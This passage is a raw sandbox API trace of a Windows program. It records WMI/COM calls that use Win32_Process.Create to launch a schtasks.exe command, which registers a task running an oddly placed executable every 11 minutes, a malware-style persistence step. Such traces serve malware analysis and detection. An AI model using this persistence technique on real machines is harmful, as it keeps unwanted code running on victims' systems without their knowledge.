[6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0125.886] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9db4b0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1a980090) returned 0x0 [0125.886] WbemDefPath:IUnknown:Release (This=0x1a9db4b0) returned 0x0 [0125.886] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980090, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1a980090) returned 0x0 [0125.887] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980090, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0125.887] WbemDefPath:IUnknown:AddRef (This=0x1a980090) returned 0x3 [0125.887] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980090, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0125.887] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980090, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0125.887] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980090, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1a9db4f0) returned 0x0 [0125.887] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9db4f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0125.887] WbemDefPath:IUnknown:Release (This=0x1a9db4f0) returned 0x3 [0125.887] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0125.887] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0125.887] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980090, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0125.887] WbemDefPath:IUnknown:Release (This=0x1a980090) returned 0x2 [0125.887] WbemDefPath:IUnknown:Release (This=0x1a980090) returned 0x1 [0125.887] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0125.887] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0125.887] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980090, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1a980090) returned 0x0 [0125.887] WbemDefPath:IUnknown:AddRef (This=0x1a980090) returned 0x3 [0125.887] WbemDefPath:IUnknown:Release (This=0x1a980090) returned 0x2 [0125.888] WbemDefPath:IWbemPath:SetText (This=0x1a980090, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0125.888] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97ffd0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0125.888] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980090, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0125.888] WbemDefPath:IWbemPath:GetText (in: This=0x1a980090, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0125.888] WbemDefPath:IWbemPath:GetText (in: This=0x1a980090, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0125.888] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1a97ffd0) returned 0x0 [0125.888] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980090, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0125.888] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a980090, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0125.888] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a980090, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0125.888] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1a97ffd0, uIndex=0x0, pszName="root") returned 0x0 [0125.888] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a980090, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0125.889] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a980090, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0125.889] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1a97ffd0, uIndex=0x1, pszName="cimv2") returned 0x0 [0125.889] WbemDefPath:IWbemPath:GetServer (in: This=0x1a980090, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0125.890] WbemDefPath:IWbemPath:GetServer (in: This=0x1a980090, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0125.890] WbemDefPath:IWbemPath:GetServer (in: This=0x1a97ffd0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0125.890] WbemDefPath:IWbemPath:GetServer (in: This=0x1a97ffd0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0125.890] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a97ffd0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0125.890] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fc10, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0125.890] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fc10, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0125.890] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fc10, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0125.891] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fc10, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0125.891] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fc10, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0125.891] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fc10, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0125.891] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97ffd0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0125.891] WbemDefPath:IWbemPath:GetText (in: This=0x1a97ffd0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0125.891] WbemDefPath:IWbemPath:GetText (in: This=0x1a97ffd0, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0125.891] WbemDefPath:IWbemPath:GetText (in: This=0x1a97ffd0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0125.891] WbemDefPath:IWbemPath:GetText (in: This=0x1a97ffd0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0125.891] IWbemServices:GetObject (in: This=0x1a952e10, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1a9db860, ppCallResult=0x0) returned 0x0 [0125.894] IWbemClassObject:GetMethod (in: This=0x1a9db860, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1a9e9500, ppOutSignature=0x1bb7e690*=0x1a9e9cd0) returned 0x0 [0125.895] IWbemClassObject:SpawnInstance (in: This=0x1a9e9500, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1a9ea040) returned 0x0 [0125.907] IWbemClassObject:Get (in: This=0x1a9ea040, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2778bd0*=0, plFlavor=0x2778bd4*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2778bd0*=8, plFlavor=0x2778bd4*=32) returned 0x0 [0125.907] IWbemClassObject:Get (in: This=0x1a9ea040, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2778bd0*=8, plFlavor=0x2778bd4*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2778bd0*=8, plFlavor=0x2778bd4*=32) returned 0x0 [0125.908] IWbemClassObject:Put (This=0x1a9ea040, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"whatever_onlyw\" /sc MINUTE /mo 11 /tr \"'C:\\comproviderRuntimecommon\\whatever_only.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0125.908] IWbemClassObject:Get (in: This=0x1a9ea040, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2778c98*=0, plFlavor=0x2778c9c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2778c98*=13, plFlavor=0x2778c9c*=32) returned 0x0 [0125.909] IWbemClassObject:Get (in: This=0x1a9ea040, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2778c98*=13, plFlavor=0x2778c9c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2778c98*=13, plFlavor=0x2778c9c*=32) returned 0x0 [0125.909] IUnknown:QueryInterface (in: This=0x1a9da500, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1a9da500) returned 0x0 [0125.909] IUnknown:QueryInterface (in: This=0x1a9da500, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0125.909] IUnknown:QueryInterface (in: This=0x1a9da500, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0125.909] IUnknown:AddRef (This=0x1a9da500) returned 0x3 [0125.909] IUnknown:QueryInterface (in: This=0x1a9da500, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0125.909] IUnknown:QueryInterface (in: This=0x1a9da500, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0125.909] IUnknown:QueryInterface (in: This=0x1a9da500, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1a9da508) returned 0x0 [0125.910] IMarshal:GetUnmarshalClass (in: This=0x1a9da508, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0125.910] IUnknown:Release (This=0x1a9da508) returned 0x3 [0125.910] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0125.910] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0125.910] IUnknown:QueryInterface (in: This=0x1a9da500, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0125.910] IUnknown:Release (This=0x1a9da500) returned 0x2 [0125.911] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0125.911] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0125.912] IUnknown:QueryInterface (in: This=0x1a9da500, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0125.915] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0125.915] IUnknown:QueryInterface (in: This=0x1a9da500, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0125.916] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0125.916] IUnknown:AddRef (This=0x1a9da500) returned 0x3 [0125.916] IWbemClassObject:Put (This=0x1a9ea040, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1a9da500, varVal2=0x0), Type=0) returned 0x0 [0125.930] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fcd0, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0125.930] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fcd0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0125.930] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fcd0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0125.930] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fc10, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0125.930] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fc10, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0125.930] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fc10, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0125.930] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fcd0, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0125.930] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fcd0, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0125.931] IWbemServices:ExecMethod (in: This=0x1a952e10, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1a9ea040, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1a9ea2f0, ppCallResult=0x0) returned 0x0 [0126.085] IWbemClassObject:Get (in: This=0x1a9ea2f0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2778fb0*=0, plFlavor=0x2778fb4*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xea4, varVal2=0x0), pType=0x2778fb0*=19, plFlavor=0x2778fb4*=0) returned 0x0 [0126.093] IWbemClassObject:Get (in: This=0x1a9ea2f0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2778fb0*=19, plFlavor=0x2778fb4*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xea4, varVal2=0x0), pType=0x2778fb0*=19, plFlavor=0x2778fb4*=0) returned 0x0 [0126.109] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0126.109] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0126.109] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0126.110] IUnknown:Release (This=0x1a943398) returned 0x1 [0126.111] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1a9db6f0) returned 0x0 [0126.112] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9db6f0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0126.112] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9db6f0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1a980150) returned 0x0 [0126.112] WbemDefPath:IUnknown:Release (This=0x1a9db6f0) returned 0x0 [0126.112] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980150, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1a980150) returned 0x0 [0126.112] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980150, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0126.113] WbemDefPath:IUnknown:AddRef (This=0x1a980150) returned 0x3 [0126.113] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980150, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0126.113] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980150, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0126.113] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980150, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1a9db730) returned 0x0 [0126.113] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9db730, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.113] WbemDefPath:IUnknown:Release (This=0x1a9db730) returned 0x3 [0126.113] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0126.113] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0126.113] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980150, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0126.113] WbemDefPath:IUnknown:Release (This=0x1a980150) returned 0x2 [0126.113] WbemDefPath:IUnknown:Release (This=0x1a980150) returned 0x1 [0126.113] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0126.113] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0126.113] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980150, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1a980150) returned 0x0 [0126.113] WbemDefPath:IUnknown:AddRef (This=0x1a980150) returned 0x3 [0126.114] WbemDefPath:IUnknown:Release (This=0x1a980150) returned 0x2 [0126.114] WbemDefPath:IWbemPath:SetText (This=0x1a980150, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0126.114] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980150, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 